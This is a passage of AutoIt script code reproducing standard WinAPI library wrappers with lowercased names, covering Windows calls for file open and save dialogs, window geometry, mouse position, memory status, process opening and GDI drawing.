If $btoclient AND NOT _winapi_screentoclient($hwnd, $tpoint) Then Return SetError(@error + 20, @extended, 0)
Return $tpoint
EndFunc
Func _winapi_getmouseposx($btoclient = False, $hwnd = 0)
Local $tpoint = _winapi_getmousepos($btoclient, $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($tpoint, "X")
EndFunc
Func _winapi_getmouseposy($btoclient = False, $hwnd = 0)
Local $tpoint = _winapi_getmousepos($btoclient, $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($tpoint, "Y")
EndFunc
Func _winapi_getobject($hobject, $isize, $pobject)
Local $aresult = DllCall("gdi32.dll", "int", "GetObjectW", "handle", $hobject, "int", $isize, "ptr", $pobject)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
Local $ipathlen = 4096
Local $inulls = 0
Local $tofn = DllStructCreate($tagopenfilename)
Local $afiles[1] = [0]
Local $iflag = $iflags
Local $asflines = StringSplit($sfilter, "|")
Local $asfilter[$asflines[0] * 2 + 1]
Local $istart, $ifinal, $tagfilter
$asfilter[0] = $asflines[0] * 2
For $i = 1 To $asflines[0]
$istart = StringInStr($asflines[$i], "(", 0, 1)
$ifinal = StringInStr($asflines[$i], ")", 0, -1)
$asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), $str_stripleading + $str_striptrailing)
$asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), $str_stripleading + $str_striptrailing)
$tagfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
Next
Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
Local $tfilter = DllStructCreate($tagfilter & "wchar")
Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
For $i = 1 To $asfilter[0]
DllStructSetData($tfilter, $i, $asfilter[$i])
Next
DllStructSetData($ttitle, "Title", $stitle)
DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
DllStructSetData($tpath, "Path", $sdefaultfile)
DllStructSetData($textn, "Extension", $sdefaultext)
DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
DllStructSetData($tofn, "hwndOwner", $hwndowner)
DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
DllStructSetData($tofn, "nMaxFile", $ipathlen)
DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
DllStructSetData($tofn, "Flags", $iflag)
DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
DllStructSetData($tofn, "FlagsEx", $iflagsex)
Local $ares = DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "struct*", $tofn)
If @error OR NOT $ares[0] Then Return SetError(@error + 10, @extended, $afiles)
If BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect AND BitAND($iflags, $ofn_explorer) = $ofn_explorer Then
For $x = 1 To $ipathlen
If DllStructGetData($tpath, "Path", $x) = Chr(0) Then
DllStructSetData($tpath, "Path", "|", $x)
$inulls += 1
Else
$inulls = 0
EndIf
If $inulls = 2 Then ExitLoop
Next
DllStructSetData($tpath, "Path", Chr(0), $x - 1)
$afiles = StringSplit(DllStructGetData($tpath, "Path"), "|")
If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
Return StringSplit(DllStructGetData($tpath, "Path"), "|")
ElseIf BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect Then
$afiles = StringSplit(DllStructGetData($tpath, "Path"), " ")
If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
Return StringSplit(StringReplace(DllStructGetData($tpath, "Path"), " ", "|"), "|")
Else
Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
EndIf
EndFunc
Func _winapi_getoverlappedresult($hfile, $poverlapped, ByRef $ibytes, $bwait = False)
Local $aresult = DllCall("kernel32.dll", "bool", "GetOverlappedResult", "handle", $hfile, "ptr", $poverlapped, "dword*", 0, "bool", $bwait)
If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, False)
$ibytes = $aresult[3]
Return $aresult[0]
EndFunc
Func _winapi_getparent($hwnd)
Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getprocaddress($hmodule, $vname)
Local $stype = "str"
If IsNumber($vname) Then $stype = "word"
Local $aresult = DllCall("kernel32.dll", "ptr", "GetProcAddress", "handle", $hmodule, $stype, $vname)
If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getprocessaffinitymask($hprocess)
Local $aresult = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask", "handle", $hprocess, "dword_ptr*", 0, "dword_ptr*", 0)
If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
Local $amask[3]
$amask[0] = True
$amask[1] = $aresult[2]
$amask[2] = $aresult[3]
Return $amask
EndFunc
Func _winapi_getsavefilename($stitle = "", $sfilter = "All files (*.*)", $sinitaldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags = 0, $iflagsex = 0, $hwndowner = 0)
Local $ipathlen = 4096
Local $tofn = DllStructCreate($tagopenfilename)
Local $afiles[1] = [0]
Local $iflag = $iflags
Local $asflines = StringSplit($sfilter, "|")
Local $asfilter[$asflines[0] * 2 + 1]
Local $istart, $ifinal, $tagfilter
$asfilter[0] = $asflines[0] * 2
For $i = 1 To $asflines[0]
$istart = StringInStr($asflines[$i], "(", 0, 1)
$ifinal = StringInStr($asflines[$i], ")", 0, -1)
$asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i], $istart - 1), $str_stripleading + $str_striptrailing)
$asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), $str_stripleading + $str_striptrailing)
$tagfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
Next
Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1 & "]")
Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinitaldir) + 1 & "]")
Local $tfilter = DllStructCreate($tagfilter & "wchar")
Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaultext) + 1 & "]")
For $i = 1 To $asfilter[0]
DllStructSetData($tfilter, $i, $asfilter[$i])
Next
DllStructSetData($ttitle, "Title", $stitle)
DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
DllStructSetData($tpath, "Path", $sdefaultfile)
DllStructSetData($textn, "Extension", $sdefaultext)
DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
DllStructSetData($tofn, "hwndOwner", $hwndowner)
DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
DllStructSetData($tofn, "nMaxFile", $ipathlen)
DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir))
DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
DllStructSetData($tofn, "Flags", $iflag)
DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
DllStructSetData($tofn, "FlagsEx", $iflagsex)
Local $ares = DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "struct*", $tofn)
If @error OR NOT $ares[0] Then Return SetError(@error + 10, @extended, $afiles)
Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
EndFunc
Func _winapi_getstockobject($iobject)
Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int", $iobject)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getstdhandle($istdhandle)
If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1)
Local Const $ahandle[3] = [-10, -11, -12]
Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dword", $ahandle[$istdhandle])
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_getsyscolor($iindex)
Local $aresult = DllCall("user32.dll", "INT", "GetSysColor", "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getsyscolorbrush($iindex)
Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getsystemmetrics($iindex)
Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_gettextextentpoint32($hdc, $stext)
Local $tsize = DllStructCreate($tagsize)
Local $isize = StringLen($stext)
Local $aret = DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "wstr", $stext, "int", $isize, "struct*", $tsize)
If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
Return $tsize
EndFunc
Func _winapi_gettextmetrics($hdc)
Local $ttextmetric = DllStructCreate($tagtextmetric)
Local $aret = DllCall("gdi32.dll", "bool", "GetTextMetricsW", "handle", $hdc, "struct*", $ttextmetric)
If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
Return $ttextmetric
EndFunc
Func _winapi_getwindow($hwnd, $icmd)
Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwnd, "uint", $icmd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowdc($hwnd)
Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowheight($hwnd)
Local $trect = _winapi_getwindowrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top")
EndFunc
Func _winapi_getwindowlong($hwnd, $iindex)
Local $sfuncname = "GetWindowLongW"
If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW"
Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex)
If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowplacement($hwnd)
Local $twindowplacement = DllStructCreate($tagwindowplacement)
DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowplacement))
Local $aret = DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "struct*", $twindowplacement)
If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
Return $twindowplacement
EndFunc
Func _winapi_getwindowrect($hwnd)
Local $trect = DllStructCreate($tagrect)
Local $aret = DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "struct*", $trect)
If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
Return $trect
EndFunc
Func _winapi_getwindowrgn($hwnd, $hrgn)
Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $hwnd, "handle", $hrgn)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowtext($hwnd)
Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd", $hwnd, "wstr", "", "int", 4096)
If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid)
Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
If @error Then Return SetError(@error, @extended, 0)
$ipid = $aresult[2]
Return $aresult[0]
EndFunc
Func _winapi_getwindowwidth($hwnd)
Local $trect = _winapi_getwindowrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
EndFunc
Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy)
$ix = DllStructGetData($tpoint, "X")
$iy = DllStructGetData($tpoint, "Y")
EndFunc
Func _winapi_globalmemorystatus()
Local $tmem = DllStructCreate($tagmemorystatusex)
DllStructSetData($tmem, 1, DllStructGetSize($tmem))
Local $aret = DllCall("kernel32.dll", "bool", "GlobalMemoryStatusEx", "struct*", $tmem)
If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, 0)
Local $amem[7]
$amem[0] = DllStructGetData($tmem, 2)
$amem[1] = DllStructGetData($tmem, 3)
$amem[2] = DllStructGetData($tmem, 4)
$amem[3] = DllStructGetData($tmem, 5)
$amem[4] = DllStructGetData($tmem, 6)
$amem[5] = DllStructGetData($tmem, 7)
$amem[6] = DllStructGetData($tmem, 8)
Return $amem
EndFunc
Func _winapi_guidfromstring($sguid)
Local $tguid = DllStructCreate($tagguid)
_winapi_guidfromstringex($sguid, $tguid)
If @error Then Return SetError(@error + 10, @extended, 0)
Return $tguid
EndFunc
Func _winapi_guidfromstringex($sguid, $pguid)
Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr", $sguid, "struct*", $pguid)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_hiword($ilong)
Return BitShift($ilong, 16)
EndFunc
Func _winapi_inprocess($hwnd, ByRef $hlastwnd)
If $hwnd = $hlastwnd Then Return True
For $ii = $__g_ainprocess_winapi[0][0] To 1 Step -1
If $hwnd = $__g_ainprocess_winapi[$ii][0] Then
If $__g_ainprocess_winapi[$ii][1] Then
$hlastwnd = $hwnd
Return True
Else
Return False
EndIf
EndIf
Next
Local $ipid
_winapi_getwindowthreadprocessid($hwnd, $ipid)
Local $icount = $__g_ainprocess_winapi[0][0] + 1
If $icount >= 64 Then $icount = 1
$__g_ainprocess_winapi[0][0] = $icount
$__g_ainprocess_winapi[$icount][0] = $hwnd
$__g_ainprocess_winapi[$icount][1] = ($ipid = @AutoItPID)
Return $__g_ainprocess_winapi[$icount][1]
EndFunc
Func _winapi_inttofloat($iint)
Local $tint = DllStructCreate("int")
Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint))
DllStructSetData($tint, 1, $iint)
Return DllStructGetData($tfloat, 1)
EndFunc
Func _winapi_isclassname($hwnd, $sclassname)
Local $sseparator = Opt("GUIDataSeparatorChar")
Local $aclassname = StringSplit($sclassname, $sseparator)
If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
Local $sclasscheck = _winapi_getclassname($hwnd)
For $x = 1 To UBound($aclassname) - 1
If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[$x]))) = StringUpper($aclassname[$x]) Then Return True
Next
Return False
EndFunc
Func _winapi_iswindow($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_iswindowvisible($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_invalidaterect($hwnd, $trect = 0, $berase = True)
Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd", $hwnd, "struct*", $trect, "bool", $berase)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_lineto($hdc, $ix, $iy)
Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc, "int", $ix, "int", $iy)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_loadbitmap($hinstance, $sbitmap)
Local $sbitmaptype = "int"
If IsString($sbitmap) Then $sbitmaptype = "wstr"
Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle", $hinstance, $sbitmaptype, $sbitmap)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $iload)
Local $aresult, $simagetype = "int"
If IsString($simage) Then $simagetype = "wstr"
$aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hinstance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesired, "uint", $iload)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadlibrary($sfilename)
Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr", $sfilename)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadlibraryex($sfilename, $iflags = 0)
Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "wstr", $sfilename, "ptr", 0, "dword", $iflags)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadshell32icon($iiconid)
Local $ticons = DllStructCreate("ptr Data")
Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $ticons, 1)
If @error Then Return SetError(@error, @extended, 0)
If $iicons <= 0 Then Return SetError(10, 0, 0)
Return DllStructGetData($ticons, "Data")
EndFunc
Func _winapi_loadstring($hinstance, $istringid)
Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $hinstance, "uint", $istringid, "wstr", "", "int", 4096)
If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
Return SetExtended($aresult[0], $aresult[3])
EndFunc
Func _winapi_localfree($hmem)
Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle", $hmem)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_loword($ilong)
Return BitAND($ilong, 65535)
EndFunc
Func _winapi_makelangid($iprimary, $isub)
Return BitOR(BitShift($isub, -10), $iprimary)
EndFunc
Func _winapi_makelcid($ilgid, $isrtid)
Return BitOR(BitShift($isrtid, -16), $ilgid)
EndFunc
Func _winapi_makelong($ilo, $ihi)
Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535))
EndFunc
Func _winapi_makeqword($ilodword, $ihidword)
Local $tint64 = DllStructCreate("uint64")
Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64))
DllStructSetData($tdwords, 1, $ilodword)
DllStructSetData($tdwords, 2, $ihidword)
Return DllStructGetData($tint64, 1)
EndFunc
Func _winapi_messagebeep($itype = 1)
Local $isound
Switch $itype
Case 1
$isound = 0
Case 2
$isound = 16
Case 3
$isound = 32
Case 4
$isound = 48
Case 5
$isound = 64
Case Else
$isound = -1
EndSwitch
Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $isound)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_msgbox($iflags, $stitle, $stext)
BlockInput(0)
MsgBox($iflags, $stitle, $stext & " ")
EndFunc
Func _winapi_mouse_event($iflags, $ix = 0, $iy = 0, $idata = 0, $iextrainfo = 0)
DllCall("user32.dll", "none", "mouse_event", "dword", $iflags, "dword", $ix, "dword", $iy, "dword", $idata, "ulong_ptr", $iextrainfo)
If @error Then Return SetError(@error, @extended)
EndFunc
Func _winapi_moveto($hdc, $ix, $iy)
Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc, "int", $ix, "int", $iy, "ptr", 0)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $brepaint = True)
Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hwnd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $brepaint)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_muldiv($inumber, $inumerator, $idenominator)
Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumber, "int", $inumerator, "int", $idenominator)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_multibytetowidechar($stext, $icodepage = 0, $iflags = 0, $bretstring = False)
Local $stexttype = "str"
If NOT IsString($stext) Then $stexttype = "struct*"
Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "ptr", 0, "int", 0)
If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, 0)
Local $iout = $aresult[0]
Local $tout = DllStructCreate("wchar[" & $iout & "]")
$aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, $stexttype, $stext, "int", -1, "struct*", $tout, "int", $iout)
If @error OR NOT $aresult[0] Then Return SetError(@error + 20, @extended, 0)
If $bretstring Then Return DllStructGetData($tout, 1)
Return $tout
EndFunc
Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0)
Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "struct*", $ptext, "int", (StringLen($stext) + 1) * 2)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_openprocess($iaccess, $binherit, $ipid, $bdebugpriv = False)
Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $binherit, "dword", $ipid)
If @error Then Return SetError(@error, @extended, 0)
If $aresult[0] Then Return $aresult[0]
If NOT $bdebugpriv Then Return SetError(100, 0, 0)
Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
If @error Then Return SetError(@error + 10, @extended, 0)
_security__setprivilege($htoken, "SeDebugPrivilege", True)
Local $ierror = @error
Local $iextended = @extended
Local $iret = 0
If NOT @error Then
$aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $binherit, "dword", $ipid)
$ierror = @error
$iextended = @extended
If $aresult[0] Then $iret = $aresult[0]
_security__setprivilege($htoken, "SeDebugPrivilege", False)
If @error Then
$ierror = @error + 20
$iextended = @extended
EndIf
Else
$ierror = @error + 30
EndIf
_winapi_closehandle($htoken)
Return SetError($ierror, $iextended, $iret)
EndFunc
Func __winapi_parsefiledialogpath($spath)
Local $afiles[3]
$afiles[0] = 2
Local $stemp = StringMid($spath, 1, StringInStr($spath, "\", 0, -1) - 1)
$afiles[1] = $stemp
$afiles[2] = StringMid($spath, StringInStr($spath, "\", 0, -1) + 1)
Return $afiles
EndFunc
Func _winapi_pathfindonpath(Const $sfile, $aextrapaths = "", Const $spathdelimiter = @LF)
Local $iextracount = 0
If IsString($aextrapaths) Then
If StringLen($aextrapaths) Then
$aextrapaths = StringSplit($aextrapaths, $spathdelimiter, $str_entiresplit + $str_nocount)
$iextracount = UBound($aextrapaths, $ubound_rows)
EndIf
ElseIf IsArray($aextrapaths) Then
$iextracount = UBound($aextrapaths)
EndIf
Local $tpaths, $tpathptrs
If $iextracount Then
Local $tagstruct = ""
For $path In $aextrapaths
$tagstruct &= "wchar[" & StringLen($path) + 1 & "];"
Next
$tpaths = DllStructCreate($tagstruct)
$tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]")
For $i = 1 To $iextracount
DllStructSetData($tpaths, $i, $aextrapaths[$i - 1])
DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths, $i), $i)
Next
DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1)
EndIf
Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $sfile, "struct*", $tpathptrs)
If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, $sfile)
Return $aresult[1]
EndFunc
Func _winapi_pointfromrect(ByRef $trect, $bcenter = True)
Local $ix1 = DllStructGetData($trect, "Left")
Local $iy1 = DllStructGetData($trect, "Top")
Local $ix2 = DllStructGetData($trect, "Right")
Local $iy2 = DllStructGetData($trect, "Bottom")
If $bcenter Then
$ix1 = $ix1 + (($ix2 - $ix1) / 2)
$iy1 = $iy1 + (($iy2 - $iy1) / 2)
EndIf
Local $tpoint = DllStructCreate($tagpoint)
DllStructSetData($tpoint, "X", $ix1)
DllStructSetData($tpoint, "Y", $iy1)
Return $tpoint
EndFunc
Func _winapi_postmessage($hwnd, $imsg, $iwparam, $ilparam)
Local $aresult = DllCall("user32.dll", "bool", "PostMessage", "hwnd", $hwnd, "uint", $imsg, "wparam", $iwparam, "lparam", $ilparam)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_primarylangid($ilgid)
Return BitAND($ilgid, 1023)
EndFunc
Func _winapi_ptinrect(ByRef $trect, ByRef $tpoint)
Local $aresult = DllCall("user32.dll", "bool", "PtInRect", "struct*", $trect, "struct", $tpoint)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_readfile($hfile, $pbuffer, $itoread, ByRef $iread, $poverlapped = 0)
Local $aresult = DllCall("kernel32.dll", "bool", "ReadFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itoread, "dword*", 0, "ptr", $poverlapped)
If @error Then Return SetError(@error, @extended, False)
$iread = $aresult[4]
Return $aresult[0]
EndFunc
Func _winapi_readprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iread)
Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, "ptr", $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
If @error Then Return SetError(@error, @extended, False)
$iread = $aresult[5]
Return $aresult[0]
EndFunc
Func _winapi_rectisempty(ByRef $trect)
Return (DllStructGetData($trect, "Left") = 0) AND (DllStructGetData($trect, "Top") = 0) AND (DllStructGetData($trect, "Right") = 0) AND (DllStructGetData($trect, "Bottom") = 0)
EndFunc
Func _winapi_redrawwindow($hwnd, $trect = 0, $hregion = 0, $iflags = 5)
Local $aresult = DllCall("user32.dll", "bool", "RedrawWindow", "hwnd", $hwnd, "struct*", $trect, "handle", $hregion, "uint", $iflags)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_registerwindowmessage($smessage)
Local $aresult = DllCall("user32.dll", "uint", "RegisterWindowMessageW", "wstr", $smessage)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_releasecapture()
Local $aresult = DllCall("user32.dll", "bool", "ReleaseCapture")
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_releasedc($hwnd, $hdc)
Local $aresult = DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_screentoclient($hwnd, ByRef $tpoint)
Local $aresult = DllCall("user32.dll", "bool", "ScreenToClient", "hwnd", $hwnd, "struct*", $tpoint)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_selectobject($hdc, $hgdiobj)
Local $aresult = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hgdiobj)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setbkcolor($hdc, $icolor)
Local $aresult = DllCall("gdi32.dll", "INT", "SetBkColor", "handle", $hdc, "INT", $icolor)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_setbkmode($hdc, $ibkmode)
Local $aresult = DllCall("gdi32.dll", "int", "SetBkMode", "handle", $hdc, "int", $ibkmode)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setcapture($hwnd)
Local $aresult = DllCall("user32.dll", "hwnd", "SetCapture", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setcursor($hcursor)
Local $aresult = DllCall("user32.dll", "handle", "SetCursor", "handle", $hcursor)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_setdefaultprinter($sprinter)
Local $aresult = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "wstr", $sprinter)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbmi, $icoloruse = 0)
Local $aresult = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbmi, "INT", $icoloruse)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_setendoffile($hfile)
